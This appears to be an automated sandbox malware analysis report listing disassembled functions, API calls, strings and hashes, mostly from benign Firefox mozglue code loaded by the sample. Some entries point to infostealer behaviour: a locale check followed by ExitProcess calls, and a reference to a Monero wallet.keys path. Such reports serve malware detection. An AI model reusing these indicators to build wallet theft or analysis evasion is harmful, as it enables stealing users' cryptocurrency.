Opcode Fuzzy Hash: 581e3f72d69a8824219f383edc0b883f04136950b74c177daa5337a78f7ae44d
Instruction Fuzzy Hash: B331E830B442465BEF11FFA58C45B6E7BB5AB89714F304055F612ABAC0DB70F800C7A8

Function 6C56ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C56F100: LoadLibraryW.KERNEL32(shell32,?,6C5DD020), ref: 6C56F122
Part of subcall function 6C56F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C56F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C56ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C56EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C56EDCC
CreateFileW.KERNEL32 ref: 6C56EE08
free.MOZGLUE(00000000), ref: 6C56EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C56EE32

Part of subcall function 6C56EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C56EBB5
Part of subcall function 6C56EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C59D7F3), ref: 6C56EBC3
Part of subcall function 6C56EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C59D7F3), ref: 6C56EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C56EDC1

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 80f9384685a3382c0f00116ac4890e566e0299865b9d61c29b3880dbac97d790
Instruction ID: 20857909b6580c86e89299dae644019910ef6bba1761f217561d5d308cdc61ce
Opcode Fuzzy Hash: 80f9384685a3382c0f00116ac4890e566e0299865b9d61c29b3880dbac97d790
Instruction Fuzzy Hash: EB51B071D06304CBDB10DF69CC406AEB7B0AF99318F44892DD8556BB50EBB06D88CBA2

Function 6C5DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5DA565

Part of subcall function 6C5DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5DA4BE
Part of subcall function 6C5DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5DA6B6

Strings

z, xrefs: 6C5DA6AE
0, xrefs: 6C5DA5FB

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: aa4202e9e8f0cc9adee29d645386d1b089cbef752190c61984bd1e54190cf4aa
Instruction ID: 4145fdfa345a3b9a30e96927a8f004a6db1745d118a76fa6dfe5062eebd0b062
Opcode Fuzzy Hash: aa4202e9e8f0cc9adee29d645386d1b089cbef752190c61984bd1e54190cf4aa
Instruction Fuzzy Hash: FD412771909745DFC741DF28C880A8BBBE5BFC9354F418A2EF49987650EB30E949CB86

Function 6C5A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C59AB89: EnterCriticalSection.KERNEL32(6C5EE370,?,?,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284), ref: 6C59AB94
Part of subcall function 6C59AB89: LeaveCriticalSection.KERNEL32(6C5EE370,?,6C5634DE,6C5EF6CC,?,?,?,?,?,?,?,6C563284,?,?,6C5856F6), ref: 6C59ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C574A68), ref: 6C5A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5A9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5A9482
__Init_thread_footer.LIBCMT ref: 6C5A949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C5A946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C5A947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C5A9459

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 13f9085bd93671aec404e0977a61a4ad4b52d9d071c386b0c63df7871a7d9507
Instruction ID: 64c1610a0ee4b685a741afe9150e9d757e8872f3b4f37c1292a79483f32f7131
Opcode Fuzzy Hash: 13f9085bd93671aec404e0977a61a4ad4b52d9d071c386b0c63df7871a7d9507
Instruction Fuzzy Hash: A201D870A001118BE740DB9EEC11A4E3375EB4E328F064636D90A86B41DF22E955895F

Function 00DA6770 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32 ref: 00DA6774
ExitProcess.KERNEL32 ref: 00DA67A5
ExitProcess.KERNEL32 ref: 00DA67AF
ExitProcess.KERNEL32 ref: 00DA67B9
ExitProcess.KERNEL32 ref: 00DA67C3
ExitProcess.KERNEL32 ref: 00DA67CD

Strings

*, xrefs: 00DA678C

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: *
API String ID: 1494266314-163128923
Opcode ID: fa865563206d470aeda2fdd50b5077999dc86ecd9026bb9db820202d23258085
Instruction ID: 8e2d5bfdf5e97c2e2843a764b59efae4a8b2f54d61785b7b49835678b68e0a59
Opcode Fuzzy Hash: fa865563206d470aeda2fdd50b5077999dc86ecd9026bb9db820202d23258085
Instruction Fuzzy Hash: 8CF05E3190620DEFD3449FF0E90972C7B71FB05703F08029AE60986690DA708B41EBAA

Function 6C5DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C5DB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C5DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C5DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C5DB5F4
__Init_thread_footer.LIBCMT ref: 6C5DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C5DB61F
std::_Facet_Register.LIBCPMT ref: 6C5DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5DB655

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 52556a8ae254117484248a9d5dad3cc62e386abf9d6c04a73b1e221478187100
Instruction ID: a576eef6d0a47a52249e454b0396809923a33c11d8086a04512636715d032d2c
Opcode Fuzzy Hash: 52556a8ae254117484248a9d5dad3cc62e386abf9d6c04a73b1e221478187100
Instruction Fuzzy Hash: C431A471B00204CBCF40EF68DD949AEBBB6EB8E325B160565D91297740DB30AD06CF99

Function 6C59D5D0 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C56EB57,?,?,?,?,?,?,?,?,?), ref: 6C59D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C56EB57,?), ref: 6C59D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C56EB57,?), ref: 6C59D673
free.MOZGLUE(?), ref: 6C59D888

Strings

WVl, xrefs: 6C59D5D9, 6C59D63F
|Enabled, xrefs: 6C59D81E

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: WVl$|Enabled
API String ID: 4142949111-2353627258
Opcode ID: ea1cf52498619076357ec21ba087408832b7acbb1aa590c5ebedb1279944bd68
Instruction ID: 5ad708451a07f7dabb6a1e53192936081ba8b8f65e7008af1e795ae468fd2cbc
Opcode Fuzzy Hash: ea1cf52498619076357ec21ba087408832b7acbb1aa590c5ebedb1279944bd68
Instruction Fuzzy Hash: EBA1E370A00384DFDB11CF69CC907AEBBF1AF49318F18859CD889AB742D735A945CBA1

Function 6C5B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C5B1BE3,?,?,6C5B1D96,00000000), ref: 6C5B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C5B1BE3,?,?,6C5B1D96,00000000), ref: 6C5B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C5B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5B1DDA

Part of subcall function 6C5B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C5B1F03
Part of subcall function 6C5B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C5B1DF2,00000000,00000000), ref: 6C5B1F0C
Part of subcall function 6C5B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C5B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C5B1DF4

Part of subcall function 6C57CA10: malloc.MOZGLUE(?), ref: 6C57CA26

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: fc3001b2dbbacd3228ae5bba7c2395249afcd25f94650d1b77ddee6c9c49fdb3
Instruction ID: 03bb36a61ecd4acbdd9c59d18e4446586dec021310b92cbe467c880ef9716a95
Opcode Fuzzy Hash: fc3001b2dbbacd3228ae5bba7c2395249afcd25f94650d1b77ddee6c9c49fdb3
Instruction Fuzzy Hash: C84176B5200700AFCB50DF28C898B56BBF9FB89314F11442EE99A87B41DB71F854CB99

Function 6C5A84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A85AC

Part of subcall function 6C5A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A767F
Part of subcall function 6C5A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C5A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A7693
Part of subcall function 6C5A7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C5A85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C5A85B2

Part of subcall function 6C585E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C585EDB
Part of subcall function 6C585E90: memset.VCRUNTIME140(ew\l,000000E5,?), ref: 6C585F27
Part of subcall function 6C585E90: LeaveCriticalSection.KERNEL32(?), ref: 6C585FB2

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 36673d531945470ce07ee96154d6d876bd0145fb6dd2be3fdfd41f799da73837
Instruction ID: 7639b2fab55e6741e69ea7ac51ff21be7b473ae9981c4ddce49df472d3c44513
Opcode Fuzzy Hash: 36673d531945470ce07ee96154d6d876bd0145fb6dd2be3fdfd41f799da73837
Instruction Fuzzy Hash: ED219C706017419FDB14DB65DC88A5EB7B5AF8830CF14082DE96B83B42EB31F949CB56

Function 6C5AF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C574A68), ref: 6C5A945E
Part of subcall function 6C5A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5A9470
Part of subcall function 6C5A9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5A9482
Part of subcall function 6C5A9420: __Init_thread_footer.LIBCMT ref: 6C5A949F

GetCurrentThreadId.KERNEL32 ref: 6C5AF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5AF561

Part of subcall function 6C5A94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5A94EE
Part of subcall function 6C5A94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5A9508

GetCurrentThreadId.KERNEL32 ref: 6C5AF577
AcquireSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C5AF585
ReleaseSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C5AF5A3

Strings

[I %d/%d] profiler_resume, xrefs: 6C5AF239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C5AF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C5AF3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C5AF499

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: 89ef8cd39dace0e7f4f8fb0366f6950d095f1164f7ca97560dca2b093c4af5b6
Instruction ID: 274e42568250fad9be694adba20ecf22e2a5c351f3f6973780b3236cfb5a7a86
Opcode Fuzzy Hash: 89ef8cd39dace0e7f4f8fb0366f6950d095f1164f7ca97560dca2b093c4af5b6
Instruction Fuzzy Hash: 4CF054756003149FDB407BA59C48A6E7BBDFBCE29EF010515EA0583702DF764C05876D

Function 6C5C14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5C14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C14E2
GetCurrentThreadId.KERNEL32 ref: 6C5C1546
InitializeConditionVariable.KERNEL32(?), ref: 6C5C15BA
free.MOZGLUE(?), ref: 6C5C16B4

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 744731ee18f2edc8ccf1e2d7c676f4de22387782ad384f9e648bfcc226bc9f02
Instruction ID: 00a505c056122ee80ea8cc44a3e788bbdd8ef4c80e6e707a9e22554c2f4659a1
Opcode Fuzzy Hash: 744731ee18f2edc8ccf1e2d7c676f4de22387782ad384f9e648bfcc226bc9f02
Instruction Fuzzy Hash: 2061BD71A00750DBDB119F64CC80B9BBBB4BF89308F45851DE98A67701EB31E989CB96

Function 6C5BDC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5BDC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C5BD38A,?), ref: 6C5BDC6F
free.MOZGLUE(?,?,?,?,?,6C5BD38A,?), ref: 6C5BDCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C5BD38A,?), ref: 6C5BDCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C5BD38A,?), ref: 6C5BDD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C5BD38A,?), ref: 6C5BDD4A

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 96d432a8d0f4fef716cc02089fce4e50e9ed214f4169d56aa73ca0563019f2a7
Instruction ID: a837d8300741e65a8222190065e0f327d54c096ebbf3eeba6d6af6957becd92b
Opcode Fuzzy Hash: 96d432a8d0f4fef716cc02089fce4e50e9ed214f4169d56aa73ca0563019f2a7
Instruction Fuzzy Hash: D9415AB5A00615CFCB40CF99CC90A9ABBF5FF88314B554569D946ABB14D771FC00CB90

Function 6C59F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C59F480

Part of subcall function 6C56F100: LoadLibraryW.KERNEL32(shell32,?,6C5DD020), ref: 6C56F122
Part of subcall function 6C56F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C56F132

CloseHandle.KERNEL32(00000000), ref: 6C59F555

Part of subcall function 6C5714B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C571248,6C571248,?), ref: 6C5714C9
Part of subcall function 6C5714B0: memcpy.VCRUNTIME140(?,6C571248,00000000,?,6C571248,?), ref: 6C5714EF

Part of subcall function 6C56EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C56EEE3

CreateFileW.KERNEL32 ref: 6C59F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C59F523

Strings

\oleacc.dll, xrefs: 6C59F4CB

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d5a173197ec28b44a589319aae454a6d5d3fb0e196c4b09b5a08d45c778f0ca3
Instruction ID: 9334a94bc305ada33a937a4c8db7333b1d997fee52b3bcab9e789ae49a87efa7
Opcode Fuzzy Hash: d5a173197ec28b44a589319aae454a6d5d3fb0e196c4b09b5a08d45c778f0ca3
Instruction Fuzzy Hash: 9141CE306087509FE720DF29CC84A9BB3F4AF88318F504B5CF59483651EB70E989CBA2

Function 00DA2C90 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
